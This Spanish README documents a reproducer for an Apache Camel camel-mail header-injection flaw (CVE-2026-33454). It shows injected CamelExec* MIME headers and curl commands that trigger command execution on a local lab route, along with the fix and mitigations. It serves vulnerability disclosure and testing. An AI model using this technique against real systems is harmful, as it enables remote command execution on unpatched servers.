
Reproductor para CVE-2026-33454: Inyección de cabecera de Apache Camel camel-mail a RCE a través de camel-exec
Este proyecto demuestra una vulnerabilidad de inyección de cabeceras de mensaje Camel en el componente camel-mail de Apache Camel, rastreada como CVE-2026-33454. Un atacante que pueda enviar un correo electrónico a un buzón monitoreado por un consumidor de correo Camel puede inyectar cabeceras de control Camel* en el Exchange, logrando ejecución remota de código cuando la ruta reenvía a un productor sensible a cabeceras como camel-exec.
Aviso de seguridad: https://camel.apache.org/security/CVE-2026-33454.html
| Propiedad | Valor |
|---|
| Componente | camel-mail |
| Clase afectada | org.apache.camel.component.mail.MailHeaderFilterStrategy (+ MailBinding.extractHeadersFromMail) |
| Causa raíz | La estrategia de filtro configura solo la dirección OUT (setOutFilterStartsWith) y NO la dirección IN, por lo que las cabeceras MIME entrantes no se filtran |
| CWE | CWE-20: Validación de Entrada Inadecuada (inyección de cabeceras de mensaje Camel) |
| Impacto | Ejecución Remota de Código (a través de productores sensibles a cabeceras, p.ej., camel-exec) |
| Versiones afectadas | Desde 3.0.0 antes de 4.14.6, y desde 4.15.0 antes de 4.18.1 |
| Versiones corregidas | 4.14.6, 4.18.1, 4.19.0 |
| JIRA | CAMEL-23222 |
| Reportante | Hyunwoo Kim (@v4bel) |
MailHeaderFilterStrategy extiende DefaultHeaderFilterStrategy. En las versiones afectadas, su constructor configura solo el filtro de salida y nunca configura el filtro de entrada:
// MailHeaderFilterStrategy - versión afectada (solo se filtra la dirección OUT)
public MailHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH); // OUT solamente
// sin setInFilterStartsWith(...) -> las cabeceras Camel* entrantes NO se filtran
}
Cuando Camel consume correo (p.ej., from("imap://...") o from("pop3://...")),
MailBinding.extractHeadersFromMail() copia cada cabecera MIME en las cabeceras In del Exchange, evaluadas mediante
headerFilterStrategy.applyFilterToExternalHeaders(...). Debido a que el filtro de entrada nunca se configuró,
las cabeceras MIME con prefijo Camel* pasan directamente:
// MailBinding.extractHeadersFromMail() - el filtro-in no está configurado, así que Camel* pasa
Enumeration<?> names = mailMessage.getAllHeaders();
...
boolean keep = !headerFilterStrategy.applyFilterToExternalHeaders(headerName, value, exchange);
if (keep) { answer.put(headerName, value); }
Un atacante que pueda enviar un correo electrónico al buzón monitoreado puede, por lo tanto, establecer cabeceras de control Camel* arbitrarias.
Cuando la ruta reenvía a un productor sensible a cabeceras como camel-exec, las cabeceras
CamelExecCommandExecutable / CamelExecCommandArgs anulan el comando (honrado por defecto
en las versiones afectadas) → ejecución arbitraria de comandos del SO.
from("imap://127.0.0.1:3143?username=victim&password=secret&delete=true&unseen=true")
.to("exec:echo?args=hello") // comando fijo e inofensivo
.convertBodyTo(String.class);
Un contenedor GreenMail proporciona SMTP (3025) e IMAP (3143) con un único buzón
(usuario victim, contraseña secret, dirección victim@localhost):
docker compose up -d
# o:
docker run -d --name greenmail-cve -p 3025:3025 -p 3143:3143 \
-e GREENMAIL_OPTS='-Dgreenmail.setup.test.all -Dgreenmail.users=victim:secret@localhost -Dgreenmail.hostname=0.0.0.0 -Dgreenmail.auth.disabled -Dgreenmail.verbose' \
greenmail/standalone:2.1.0
mvn clean package -DskipTests
mvn spring-boot:run
Inicia la ruta víctima IMAP y un controlador REST auxiliar en el puerto 8080.
curl http://localhost:8080/exploit/normal
El consumidor lo recoge y ejecuta echo hello.
# prueba benigna por defecto: touch /tmp/pwned
curl http://localhost:8080/exploit/attack
# o elegir el ejecutable/argumentos:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-mail"
Esto entrega un correo electrónico cuyas cabeceras MIME incluyen:
CamelExecCommandExecutable: /usr/bin/touch
CamelExecCommandArgs: /tmp/pwned
# esperar ~2s el ciclo de sondeo IMAP, luego:
ls -la /tmp/pwned
Si /tmp/pwned existe, la cabecera MIME inyectada anuló el comando exec → RCE.
docker compose down # o: docker rm -f greenmail-cve
La inyección solo necesita un productor sensible a cabeceras aguas abajo. El aviso de seguridad menciona camel-bean, camel-exec y camel-sql; de manera más general:
CamelExecCommandExecutable / CamelExecCommandArgs → ejecución de comandos del SOCamelFileName → escritura de archivos arbitrarios / path traversalCamelBeanMethodName → invocar un método diferenteimap://, imaps://, pop3://, ...).removeHeaders("Camel*") entre el consumidor de correo y ese productor.El atacante solo necesita poder enviar un correo electrónico al buzón monitoreado.
La corrección (CAMEL-23222) configura también el filtro de entrada:
public MailHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
String[] inFilter = Arrays.copyOf(CAMEL_FILTER_STARTS_WITH, CAMEL_FILTER_STARTS_WITH.length + 2);
inFilter[CAMEL_FILTER_STARTS_WITH.length] = "mail.smtp.";
inFilter[CAMEL_FILTER_STARTS_WITH.length + 1] = "mail.smtps.";
setInFilterStartsWith(inFilter); // ahora también se filtra la dirección entrante
}
Hasta actualizar:
.removeHeaders("Camel*") justo después del
from("imap:...").CVE-2026-33454/
├── pom.xml
├── docker-compose.yml # Servidor de correo GreenMail (SMTP 3025 / IMAP 3143)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Punto de entrada Spring Boot
│ ├── MailExecRoute.java # la ruta víctima vulnerable (imap -> exec)
│ └── ExploitController.java # atacante: entrega el correo malicioso vía SMTP
└── resources/
└── application.properties
Este reproductor se proporciona únicamente para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No lo utilice contra sistemas sin permiso explícito.